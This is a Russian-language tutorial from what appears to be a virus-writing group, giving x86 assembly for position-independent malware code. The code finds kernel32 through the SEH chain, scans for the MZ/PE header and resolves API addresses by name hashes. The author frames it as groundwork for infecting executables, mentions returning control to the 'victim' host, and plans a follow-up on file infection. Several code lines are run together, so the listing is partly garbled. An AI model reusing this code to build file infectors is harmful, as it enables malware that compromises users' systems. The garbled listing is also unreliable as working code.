На эту "избитую" тему написано уже много статей, но представлю на
ваше обозрение еще одну.
Кстати, в этой статье вы не найдете подробного описания полей PE заголовка
и технологии поиска API, предполагается, что в этом вы уже разбираетесь. Так
же не буду останавливаться на очевидных моментах, это уже тысячу раз перетиралось.
Итак, особенности этой статьи заключаются в следующем:
Итак поехали... (сначала код, потом комментарии)
Start:
Call _Delta
_Delta:
sub dword ptr [esp], offset _Delta
Теперь в стеке находится дельта смещение кода, можно в этом примере не использовать, но мне так захотелось.
_ReadSEH:
xor edx,edx
mov eax,fs:[edx]
dec edx_SearchK32:
cmp [eax],edx
je _CheckK32
mov eax,dword [eax]
jmp _SearchK32_CheckK32:
mov eax,[eax+4]
xor ax,ax
По адресу fs:0, находится seh, цепочка адресов на обработчики исключений. Формат одной записи таков:
next_handler dd ? ; указатель на следующую такую же запись
seh_handler dd ? ; адрес обработчика исключения
Последний указатель на следующую запись имеет маркировку 0FFFFFFFFh, а адрес последнего обработчика находится где-то в kernel. В общем, глядите в отладчик, мы нашли адрес последнего обработчика, а значит и адрес внутри kernel. Дальше выравним полученный адрес на 64 Кбайта, т.к. kernel грузится по адресу кратному этому значению. Теперь нам осталось найти Image Base пресловутого и небезызвестного кернела. Делается это путем поиска сигнатуры MZ и проверки на PE формат...
_SearchMZ:
cmp word ptr [eax],5A4Dh
je _CheckMZ
sub eax,10000h
jmp _SearchMZ
_CheckMZ:
mov edx,[eax+3ch]
cmp word ptr [eax+edx],4550h
jne _Exit
Так, теперь сравним слово по полученному адресу с 'MZ', если не совпало, то отнимем 64Кбайта, и повторим, если совпало, то проверим это заголовок PE или нет. Если да, то можно утверждать, что Image Base Kernel найден, если нет, то выйдем. Существует ли вероятность не найти Kernel? При использовании seh, навряд ли, по крайней мере, я этого не наблюдал при тестировании. В случае, когда адрес внутри Kernel берется со стека, заводится счетчик, чтоб не вылезти черт знает куда, но это описано в др. статьях. Для перестраховки можно завести свой обработчик исключений.
_SearchAPI:
mov esi,[eax+edx+78h] ;Export Table RVA
add esi,eax ;Export Teble VA
add esi,18h
xchg eax,ebx
lodsd ;Num of Name Pointers
push eax
lodsd ;Address Table RVA
push eax
lodsd ;Name Pointers RVA
push eax
add eax,ebx
push eax ;Index
lodsd ;Ordinal Table RVA
push eax
mov edi,[esp+4*5] ;Delta offset
lea edi,[edi+HeshTable]
mov ebp,esp
Здесь я не буду заострять особого внимания, почему, читайте выше. (см. документацию по PE формату).
В результате выполнения первых двух строк, в esi мы получили смещение таблицы экспорта кернела. Далее мы получаем другие необходимые нам значения для поиска адресов API из таблицы экспорта и помещаем их в стек.
В edi у нас смещение таблицы хешей искомых функций.
Т.к. дальше мы будем помещать в стек адреса найденных API ф-ий, то сохраним указатель стека в ebp, через ebp потом и будем обращаться к найденным адресам. Несколько слов, что такое index, первоначально он равен Name Pointers и указывает на таблицу адресов имен экспорта, каждый элемент таблицы равен двойному слову, и указывает на начало ASCII строки с именем API функции, если к Index прибавить 4, то он будет указывать на следующий адрес в таблице адресов имен... Конечно много непонятного, но поглядите в отладчик и половина вопросов отпадет.
_BeginSearch:
mov ecx,[ebp+4*4] ;NumOfNamePointers
xor edx,edx
_SearchAPIName:
mov esi,[ebp+4*1] ;Index
mov esi,[esi]
add esi,ebx
В ecx кол-во экспортируемых функций используем как счетчик, чтоб не найти какую-нибудь муть.
Обнулим edx, там потом будет порядковый номер найденной функции, начиная с нуля. Это понадобится для нахождения адреса. В esi адрес ACSII имени API функции, первоначально указывает на первую.
_GetHash:
xor eax,eax
push eax
_CalcHash:
ror eax,7
xor [esp],eax
lodsb
test al,al
jnz _CalcHash
pop eax
Далее считаем хеш от имени функции, чтобы потом сравнить с хешем от требуемой функции, помните, что на имя у нас указывает esi. На выходе в eax будет хеш.
OkHash:
cmp eax,dword ptr [edi]
je _OkAPI
add dword ptr [ebp+4*1],4 ;I=I+4 (I--Index)
inc edx
loop _SearchAPIName
jmp _Exit
Никаких проблем, сравниваем, если равно, то имя функции найдено, и идем высчитывать ее адрес. Если нет, то прибавляем к Index четыре (чтобы указывал на следующий адрес имени в таблице экспорта) и ищем дальше, если требуемой функции вообще не нашли (неправильно написали имя или неверный хеш), то благоразумнее будет выйти или передать управление жертве, в зависимости от ситуации.
_OkAPI:
shl edx,1
mov ecx,[ebp] ;OrdinalTableRVA
add ecx,ebx
add ecx,edx
mov ecx,[ecx]
and ecx,0FFFFh
mov edx,[ebp+4*3] ;AddressTableRVA
add edx,ebx
shl ecx,2
add edx,ecx
mov edx,[edx]
add edx,ebx
Здесь мы окажемся в том случае, если мы нашли имя искомой функции, а следовательно и ее порядковый номер в edx. Код похож на себе подобный из других статей, потому отсылаю вас туда (см.ссылки внизу), не люблю писать одно и тоже и повторяться. Один момент, здесь работа происходит не с переменными, а в стеке, потому глядите в отладчик, в конце концов.
push edx cmp word ptr [edi+4],0FFFFh ;0FFFFh-End of HeshTable je _FindFirstFile add edi,4 _NextName: mov ecx,[ebp+4*2] ;NamePointersRVA add ecx,ebx mov [ebp+4*1],ecx ;Index jmp short _BeginSearch
Адрес найден!!! Что и требовалось доказать, помещаем его в стек, смотрим последняя ли это требуемая функция из таблицы хешей, если нет, то устанавливаем edi на следующий хеш. Возвращаем Index в первозданное состояние, т.е. что бы он указывал на адрес имени первой функции в таблице экспорта кернела, и повторяемся...
Т.к. я не обладаю творческими изысками, в тексте могут содержаться неточности, о коих прошу сообщать на sars@ukrtop.com Исправлю...
Если кому-нибудь поможет данная статья, не сочтите за труд черкануть пару строк автору, тогда возможно продолжу эту тему. Все вопросы по коду туда же, кроме таких как: "Что такое стек?" и т.д.
Рекомендую отладчики SoftIce и OllyDebugger.
Если данное пособие найдет читателей, то в следующих статьях планирую рассмотреть,
как заразить файл, внедряясь в свободное место в заголовке, а так же другие
способы заражения.
[C] Sars / HI-TECH